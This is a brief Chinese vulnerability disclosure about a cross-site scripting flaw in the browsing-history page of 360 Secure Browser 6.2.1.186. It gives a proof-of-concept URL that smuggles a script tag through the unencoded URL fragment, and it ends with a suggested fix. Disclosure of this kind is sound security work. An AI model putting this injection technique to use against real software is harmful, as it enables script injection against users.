360安全浏览器某功能处存在缺陷导致XSS。
测试版本:6.2.1.186
在中访问 http://www.baidu.com/?a=1'"><> 后,查看历史纪录。有我们刚才访问的那条记录,审查元素有如下代码:
<div class="link-tit" style="background-image:url(chrome://favicon/size/16/http://www.baidu.com/?a=1'%22%3E%3C%3E);"> <a target="_blank" href="http://www.baidu.com/?a=1'%22%3E%3C%3E">百度一下,你就知道</a> </div>
从上面代码可以看到有两处用到我们刚才访问的 URL,对于 chrome 浏览器,默认对 query 进行 URL 编码处理,但是对于锚点后面的符号不进行任何处理。
构造一个 http://www.baidu.com/?a=1'"><>#'"><script>alert(1)</script>,访问后查看历史纪录。是不是执行我们的代码了。
修复方案:
对锚点后面的符号也需要进行编码等